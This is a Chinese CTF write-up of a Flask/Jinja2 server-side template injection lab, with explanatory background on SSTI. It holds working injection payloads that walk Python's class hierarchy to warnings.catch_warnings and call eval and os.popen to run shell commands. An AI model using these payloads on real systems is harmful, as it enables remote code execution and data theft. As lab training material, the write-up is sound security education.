当前位置: 首页 > news >正文

【Real】[Flask]SSTI

文章目录

  • 前言
  • 一、题目解读
  • 二、解题过程
  • 三、知识点
    • Flask是什么
    • SSTI是什么
    • SSTI是如何形成的
    • 易于利用的类
    • payload是什么
  • 探索类型和类层次结构和方法


前言

温馨提示:看到哪里不懂直接跳到知识点部分,理解完再回到解题过程。

一、题目解读

在这里插入图片描述

题目是[Flask]SSTI提示已经很清晰了。

在Flask上进行SSTI注入

二、解题过程

先简单逛一逛在这里插入图片描述
好朴素…

因为咱们已经知道用SSTI了,所以我们直接测试一下SSTL漏洞
输入{{6*6}},如果返回36,说明存在SSTI漏洞。

{{6*6}}

在这里插入图片描述

好了我们已经知道有这个漏洞了,下面咱们想想如何进行注入如何找到flag呢?
第一步肯定是信息搜集,利用__class____bases____subclasses__()在Python中进行类型和类层次结构的探索。

{{%27%27.__class__.__bases__[0].__subclasses__()}}

在这里插入图片描述

查看源码就可以看到我们查到的这些类

在这里插入图片描述

找到了一个关键类warnings.catch_warnings

在这里插入图片描述

下面我们确定一下他的位置直接用索引函数

{{ ''.__class__.__mro__[1].__subclasses__().index(warnings.catch_warnings) }}

在这里插入图片描述

出现500内部服务器错误说明直接使用索引函数的方式在模板引擎中可能不被支持。那咱们只能一点一点排查了。

先从100~200试一试

{{ ''.__class__.__mro__[1].__subclasses__()[100:200] }}

ctrl+f可以直接在网页中搜索warnings.catch_warnings

在这里插入图片描述

搜到了,说明范围在100~200.根据下面的进度条再次缩小范围。尝试150 ~ 170.

{{ ''.__class__.__mro__[1].__subclasses__()[150:170] }}

最终确定是166
在这里插入图片描述
接下来咱们构造payload

列出上一级目录文件看看有没有flag

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['eval']('__import__("os").popen("ls ../").read()')}}
''.__class__:'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。[166]:这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。.__init__.__globals__:获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。['eval']:从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。'__import__("os").popen("ls ../").read()':eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen("ls ../") 执行 ls ../ 命令,并读取其输出。

在这里插入图片描述

好吧没有flag

var里面看看

在这里插入图片描述
没有…

看看home和root

在这里插入图片描述
在这里插入图片描述
打扰了…

去环境变量里碰碰运气

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls /').read()")}}
''.__class__:'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。[166]:这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。.__init__.__globals__:获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。.__builtins__['eval']:从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。"__import__('os').popen('ls /').read()":eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen('ls /') 执行 ls / 命令,并读取其输出。

在这里插入图片描述

小小flag,拿下!

三、知识点

Flask是什么

Flask 是一个用 Python 编写的轻量级 Web 应用框架。它的设计理念是尽量保持简单和灵活,适合小型应用和微服务架构。Flask 提供了基本的功能,如路由、模板引擎和请求处理等,但没有强制性的项目结构或组件,开发者可以根据需要选择扩展功能。Flask 常用于快速开发和原型设计,因为它的学习曲线相对较低,且与其他 Python 库兼容性好。

SSTI是什么

SSTI(Server-Side Template Injection)是指在服务器端模板引擎中注入恶意代码的漏洞。模板引擎用于将模板与数据结合生成动态HTML内容。如果用户输入未正确过滤或转义,攻击者可以插入恶意代码,导致任意代码执行或敏感数据泄露。常见的受影响模板引擎包括Jinja2(Python)、Thymeleaf(Java)、Twig(PHP)等。通过SSTI,攻击者可以获取服务器权限,窃取数据或进行进一步的攻击。

SSTI是如何形成的

SSTI(服务器端模板注入)形成的原因主要是由于模板引擎在处理用户输入时没有正确地进行过滤和转义。这使得攻击者可以通过插入恶意模板代码来执行任意服务器端代码。典型的形成步骤包括:

  • 用户输入被直接嵌入模板中。
  • 模板引擎解析并执行输入的模板代码。
  • 如果输入未经过适当的安全处理,攻击者可以插入并执行任意代码。

易于利用的类

在Flask模板注入(SSTI)中,有一些Python类和对象是易于利用的,因为它们提供了对底层系统和环境的直接访问。

1. os 模块:可以用来执行系统命令。
2. subprocess 模块:可以创建子进程并执行系统命令。
4. builtins 模块:包含所有内置函数和异常,可以通过全局命名空间访问。
5. eval 和 exec:可以执行字符串形式的Python代码。
6. 文件读取:如 file 模块中的 read 方法,用于读取文件内容。
7. 命令执行:如 warnings.catch_warnings 和 socket._socketobject,可以通过导入 os 模块执行系统命令,包括 system、popen 和 listdir。
8. 闪现信息:如 get_flashed_messages(),用于获取闪现信息。

payload是什么

payload" 是指用于执行特定攻击的代码或数据。在服务器端模板注入(SSTI)中,payload 是嵌入到模板中的恶意代码,用于执行任意命令或读取敏感信息。

payload通过利用Python的内部机制,实现了任意代码执行和文件读取。

探索类型和类层次结构和方法

  • __class__:获取对象的类。例如,'hello'.__class__ 返回 <class 'str'>
  • __bases__:获取类的基类(超类)。例如,str.__bases__ 返回 ( <class 'object'>,),表示 str 类直接继承自 object 类。
  • __subclasses__():获取一个类的所有子类。例如,object.__subclasses__()
    返回所有直接或间接继承自 object 类的子类。

在Python中,__class____bases____subclasses__() 是探索类型和类层次结构的重要属性和方法,这些属性和方法可以用于动态地探索和操控Python的类型层次结构,特别是在安全研究和漏洞利用中。

相关文章:

  • 2024年,企业人才招聘怎么做?
  • B站pink老师HTML5基础(一)
  • SAP OBYC自动记账 详解
  • LangChain笔记
  • makefile一些特殊且常用的符号
  • 哈希算法教程(个人总结版)
  • 查询DQL
  • 赶紧收藏!2024 年最常见 20道 Rocket MQ面试题(二)
  • 基于python flask +pyecharts实现的气象数据可视化分析大屏
  • NDIS小端口驱动开发(一)
  • K210 数字识别 笔记
  • 通过el-tree自定义渲染网页版工作目录,实现鼠标悬浮显示完整名称、用icon区分文件和文件夹等需求
  • 新建一个esri_sde_gists的服务
  • C++中的异常处理
  • 【开发 | 环境配置】解决 VSCode 编写 eBPF 程序找不到头文件
  • $translatePartialLoader加载失败及解决方式
  • Angular 响应式表单 基础例子
  • eclipse的离线汉化
  • EventListener原理
  • HTTP 简介
  • Linux链接文件
  • ng6--错误信息小结(持续更新)
  • Shadow DOM 内部构造及如何构建独立组件
  • 动手做个聊天室,前端工程师百无聊赖的人生
  • 对象管理器(defineProperty)学习笔记
  • 配置 PM2 实现代码自动发布
  • 如何正确配置 Ubuntu 14.04 服务器?
  • 我是如何设计 Upload 上传组件的
  • 小程序测试方案初探
  • Oracle Portal 11g Diagnostics using Remote Diagnostic Agent (RDA) [ID 1059805.
  • scrapy中间件源码分析及常用中间件大全
  • 曾刷新两项世界纪录,腾讯优图人脸检测算法 DSFD 正式开源 ...
  • ​如何在iOS手机上查看应用日志
  • #Datawhale AI夏令营第4期#AIGC文生图方向复盘
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • (Oracle)SQL优化基础(三):看懂执行计划顺序
  • (zz)子曾经曰过:先有司,赦小过,举贤才
  • (博弈 sg入门)kiki's game -- hdu -- 2147
  • (转载)从 Java 代码到 Java 堆
  • .net core 管理用户机密
  • .net MVC中使用angularJs刷新页面数据列表
  • .net 简单实现MD5
  • @Autowired 与@Resource的区别
  • @Mapper作用
  • [Android] Binder 里的 Service 和 Interface 分别是什么
  • [BZOJ1877][SDOI2009]晨跑[最大流+费用流]
  • [Contiki系列论文之2]WSN的自适应通信架构
  • [Doc][ROS2]订阅发布、服务客户端区别
  • [Docker]三.Docker 部署nginx,以及映射端口,挂载数据卷
  • [IE编程] IE8 新增的C++开发接口
  • [javaSE] 数据结构(二叉查找树-插入节点)
  • [Linux] MySQL数据库之索引
  • [opencvsharp]C#基于Fast算法实现角点检测
  • [RK3566-Android11] 使用iPhone14/15出现的蓝牙断开重连无声音问题
  • [UIUCTF 2022] crypto ASR,WringingRing